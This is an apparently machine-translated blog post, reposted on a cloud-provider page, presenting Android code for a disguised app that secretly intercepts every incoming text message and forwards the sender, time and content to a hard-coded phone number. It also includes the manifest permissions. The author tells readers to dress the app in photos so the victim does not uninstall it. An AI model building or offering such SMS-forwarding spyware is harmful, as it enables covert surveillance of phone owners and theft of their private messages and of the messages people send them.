Personal Study Notes: android text message bug

Source: Internet
Author: User

First, we need to put a picture in disguise. You can put a few more beautiful pictures of your wife. Otherwise, the program will be uninstalled one day, and it will be a tragedy, I have taken a photo of beautiful women for simple purposes. I prefer beautiful women, haha.


[Java]
Package com. example. smslistener;
 
Import java. text. SimpleDateFormat;
Import java. util. Date;
Import java. util. List;
 
Import android. content. BroadcastReceiver;
Import android. content. Context;
Import android. content. Intent;
Import android. telephony. SmsManager;
Import android. telephony. SmsMessage;
 
Public class SMSListenerBroadcastReceive extends BroadcastReceiver {
 
@ Override
Public void onReceive (Context context, Intent intent ){
Object [] pdus = (Object []) intent. getExtras (). get ("pdus ");
SmsMessage [] messages = new SmsMessage [pdus. length];
For (int I = 0; I <pdus. length; I ++ ){
Byte [] pdu = (byte []) pdus [I];

// Create a message from pud
Messages [I] = SmsMessage. createFromPdu (pdu );
}


For (SmsMessage msg: messages ){
// Obtain the text message content
String content = msg. getMessageBody ();
// Obtain the sender
String sender = msg. getOriginatingAddress ();
// Get the SMS time
Long timer = msg. getTimestampMillis ();

// Convert the number in milliseconds to the date format
Date date = new Date (timer );
SimpleDateFormat sdf = new SimpleDateFormat ("yyyy-MM-DD HH-MM-SS ");
String time = sdf. format (date );

String smsContent = time + ":" + sender + ":" + content;


// Call the method for sending text messages
SendSmsMessage ("5556", smsContent );
}
 
}

/**
* Message sending Method
* @ Param phoneNumber
* @ Param content
*/
Public void sendSmsMessage (String phoneNumber, String content ){
SmsManager smsManager = SmsManager. getDefault ();

// Determine the length of the text message content. If the length is greater than 70, an error occurs. Therefore, this step is very important.
If (content. length ()> = 70 ){
List <String> list = smsManager. divideMessage (content );
For (String mMsg: list ){
SmsManager. sendTextMessage (phoneNumber, null, mMsg, null, null );
}
} Else {
SmsManager. sendTextMessage (phoneNumber, null, content, null, null );
}
}
 
}

Package com. example. smslistener;

Import java. text. SimpleDateFormat;
Import java. util. Date;
Import java. util. List;

Import android. content. BroadcastReceiver;
Import android. content. Context;
Import android. content. Intent;
Import android. telephony. SmsManager;
Import android. telephony. SmsMessage;

Public class SMSListenerBroadcastReceive extends BroadcastReceiver {

@ Override
Public void onReceive (Context context, Intent intent ){
Object [] pdus = (Object []) intent. getExtras (). get ("pdus ");
SmsMessage [] messages = new SmsMessage [pdus. length];
For (int I = 0; I <pdus. length; I ++ ){
Byte [] pdu = (byte []) pdus [I];

// Create a message from pud
Messages [I] = SmsMessage. createFromPdu (pdu );
}


For (SmsMessage msg: messages ){
// Obtain the text message content
String content = msg. getMessageBody ();
// Obtain the sender
String sender = msg. getOriginatingAddress ();
// Get the SMS time
Long timer = msg. getTimestampMillis ();

// Convert the number in milliseconds to the date format
Date date = new Date (timer );
SimpleDateFormat sdf = new SimpleDateFormat ("yyyy-MM-DD HH-MM-SS ");
String time = sdf. format (date );

String smsContent = time + ":" + sender + ":" + content;


// Call the method for sending text messages
SendSmsMessage ("5556", smsContent );
}

}
 
/**
* Message sending Method
* @ Param phoneNumber
* @ Param content
*/
Public void sendSmsMessage (String phoneNumber, String content ){
SmsManager smsManager = SmsManager. getDefault ();

// Determine the length of the text message content. If the length is greater than 70, an error occurs. Therefore, this step is very important.
If (content. length ()> = 70 ){
List <String> list = smsManager. divideMessage (content );
For (String mMsg: list ){
SmsManager. sendTextMessage (phoneNumber, null, mMsg, null, null );
}
} Else {
SmsManager. sendTextMessage (phoneNumber, null, content, null, null );
}
}

}
The above code is very simple. After the mobile phone receives the text message, the android system will send a short message broadcast. His action is android. provider. telephony. SMS_RECEIVED: our broadcast receiver can filter this action. In this way, we can get the content of the text message, the sender of the text message, and the sending time of the text message, then you can call android to send a text message. You have the permission to send the text message <uses-permission android: name = "android. permission. SEND_SMS "/>

 


AndroidMainfest. xml


[Html]
<? Xml version = "1.0" encoding = "UTF-8"?>
<Manifest xmlns: android = "http://schemas.android.com/apk/res/android"
Package = "com. example. smslistener"
Android: versionCode = "1"
Android: versionName = "1.0" type = "codeph" text = "/codeph">
 
<Uses-sdk
Android: minSdkVersion = "8"
Android: targetSdkVersion = "16"/>
 
<Application
Android: icon = "@ drawable/xiaohua"
Android: label = "@ string/app_name"
Android: theme = "@ style/AppTheme">
<Activity
Android: name = "com. example. smslistener. MainActivity"
Android: theme = "@ style/ActivityTheme">
<Intent-filter>
<Action android: name = "android. intent. action. MAIN"/>
 
<Category android: name = "android. intent. category. LAUNCHER"/>
</Intent-filter>
</Activity>

<Cycler android: name = ". SMSListenerBroadcastReceive">
<Intent-filter>
<Action android: name = "android. provider. Telephony. SMS_RECEIVED"/>
</Intent-filter>
</Cycler>
</Application>

<Uses-permission android: name = "android. permission. RECEIVE_SMS"/>
<Uses-permission android: name = "android. permission. SEND_SMS"/>
 
</Manifest>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.